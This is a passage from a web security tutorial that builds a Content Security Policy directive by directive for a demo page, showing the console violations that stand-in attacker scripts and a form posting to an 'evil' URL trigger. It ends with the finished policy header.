&lt;p&gt;Refresh the page, and verify that it works by trying to submit the form.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to send form data to '&lt;a href="https://www.appsecmonkey.com/evil" rel="noopener noreferrer"&gt;https://www.appsecmonkey.com/evil&lt;/a&gt;' because it violates the following Content Security Policy directive: "form-action 'self'".&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Beautiful. Works as expected.&lt;/p&gt;

&lt;h3&gt;
  
  
  frame-ancestors
&lt;/h3&gt;

&lt;p&gt;Let's add one more restriction before we start relaxing the policy a little bit to make our page load correctly. Namely, let's prevent other pages from framing us by setting the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors" rel="noopener noreferrer"&gt;frame-ancestors&lt;/a&gt; to &lt;code&gt;'none'&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;frameAncestors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;frame-ancestors 'none'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;frameAncestors&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you check the CodeSandbox browser, you will see that it can no longer display your page in the frame.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qlubphurmjmbmdj9u1u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4qlubphurmjmbmdj9u1u.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Alright. Enough denying, let's allow something next.&lt;/p&gt;

&lt;h3&gt;
  
  
  style-src
&lt;/h3&gt;

&lt;p&gt;Looking at the console, the next violations are: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to load the stylesheet '&lt;a href="https://lqil3.sse.codesandbox.io/stylesheets/style.css" rel="noopener noreferrer"&gt;https://lqil3.sse.codesandbox.io/stylesheets/style.css&lt;/a&gt;' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'style-src-elem' was not explicitly set, so 'default-src' is used as a fallback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to load the stylesheet '&lt;a href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&amp;amp;display=swap" rel="noopener noreferrer"&gt;https://fonts.googleapis.com/css2?family=Roboto:wght@100&amp;amp;display=swap&lt;/a&gt;' because it violates the following Content Security Policy directive: "style-src 'self'". Note that 'style-src-elem' was not explicitly set, so 'style-src' is used as a fallback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can fix this with the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src" rel="noopener noreferrer"&gt;style-src&lt;/a&gt; directive by allowing stylesheets to load from files hosted in the same origin and from google fonts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;styleSrc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;style-src&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;styleSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; 'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;styleSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; https://fonts.googleapis.com/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;frameAncestors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;styleSrc&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Refresh the page, and wow! Such style.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz5rlf52zp7i97wzhg9w8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz5rlf52zp7i97wzhg9w8.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's move on to images.&lt;/p&gt;

&lt;h3&gt;
  
  
  img-src
&lt;/h3&gt;

&lt;p&gt;Instead of the beautiful red dot, we have the following error: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to load the image 'data :image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A    AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A        9TXL0Y4OHwAAAABJRU5ErkJggg==' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We can fix our images with the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src" rel="noopener noreferrer"&gt;img-src&lt;/a&gt; directive like so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;imgSrc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;img-src&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;imgSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; 'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;imgSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; data:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;frameAncestors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;styleSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;imgSrc&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We allow images from our own origin, and also we allow data URLs because they are getting increasingly common with optimized websites.&lt;/p&gt;

&lt;p&gt;Refresh the page and... Yes! It's a red dot in all its glory.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ackym0v1zdhzxha70ub.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ackym0v1zdhzxha70ub.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  font-src
&lt;/h3&gt;

&lt;p&gt;As for our fonts, we have the following error.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to load the font '&lt;a href="https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" rel="noopener noreferrer"&gt;https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2&lt;/a&gt;' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We can make it go away by adding the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/font-src" rel="noopener noreferrer"&gt;font-src&lt;/a&gt; directive like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;fontSrc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;font-src&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;fontSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; https://fonts.gstatic.com/&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;frameAncestors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;styleSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;imgSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;fontSrc&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  script-src
&lt;/h3&gt;

&lt;p&gt;Alright, now it gets real. The &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src" rel="noopener noreferrer"&gt;script-src&lt;/a&gt; is arguably the primary reason CSP exists, and here we can either make or break our policy.&lt;/p&gt;

&lt;p&gt;Let's look at the exceptions. The first one is the "attacker's" inline script. We don't want to allow it with any directive, so let's just keep blocking it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;The second one is the attacker's sourced script. Let's keep blocking this one as well.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to load the script '&lt;a href="https://www.appsecmonkey.com/evil.js" rel="noopener noreferrer"&gt;https://www.appsecmonkey.com/evil.js&lt;/a&gt;' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;Then there is Google analytics which we want to allow.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to load the script '&lt;a href="https://www.google-analytics.com/analytics.js" rel="noopener noreferrer"&gt;https://www.google-analytics.com/analytics.js&lt;/a&gt;' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;br&gt;
We also want to allow jQuery.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to load the script '&lt;a href="https://code.jquery.com/jquery-1.12.4.js" rel="noopener noreferrer"&gt;https://code.jquery.com/jquery-1.12.4.js&lt;/a&gt;' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;br&gt;
And finally, we want to allow the script that fetches cat facts.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let's start with the easy ones. By adding Google analytics and jQuery URL to our policy, we can get rid of those two violations. Also, add 'self' to prepare for the next step (refactoring the cat facts script into a separate JavaScript file).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script-src&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; 'self'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; https://www.google-analytics.com/analytics.js&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;scriptSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; https://code.jquery.com/jquery-1.12.4.js&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;frameAncestors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;styleSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;imgSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;fontSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;scriptSrc&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The preferred way to deal with inline scripts is to refactor them into their own JavaScript files. So delete the cat facts script tag and replace it with the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;...
&lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Cat fact: &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cat-fact"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/javascripts/cat-facts.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And move the contents of the script into &lt;code&gt;javascripts/cat-facts.js&lt;/code&gt; like so: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F437e8ju9g6bl8sxi9m30.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F437e8ju9g6bl8sxi9m30.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ajax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://cat-fact.herokuapp.com/facts/random&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;crossDomain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;catFact&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#cat-fact&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;catFact&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Good script with jQuery succeeded`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now refresh, and... bummer. One more violation to deal with before we win!&lt;/p&gt;

&lt;h3&gt;
  
  
  connect-src
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;❌ Refused to connect to '&lt;a href="https://cat-fact.herokuapp.com/facts/random" rel="noopener noreferrer"&gt;https://cat-fact.herokuapp.com/facts/random&lt;/a&gt;' because it violates the following Content Security Policy directive...&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src" rel="noopener noreferrer"&gt;connect-src&lt;/a&gt; directive restricts where the website can connect to, and currently, it is preventing us from fetching cat facts. Let's fix it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;connectSrc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;connect-src&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;connectSrc&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; https://cat-fact.herokuapp.com/facts/random&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="nx"&gt;defaultSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;formAction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;frameAncestors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;styleSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;imgSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;fontSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;scriptSrc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;connectSrc&lt;/span&gt;
&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Refresh the page. Phew! The page works, and the attacks don't. You can try the finished site &lt;a href="https://codesandbox.io/s/csp-practice-forked-lqil3" rel="noopener noreferrer"&gt;here&lt;/a&gt;. This is what we came up with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random&lt;/span&gt;
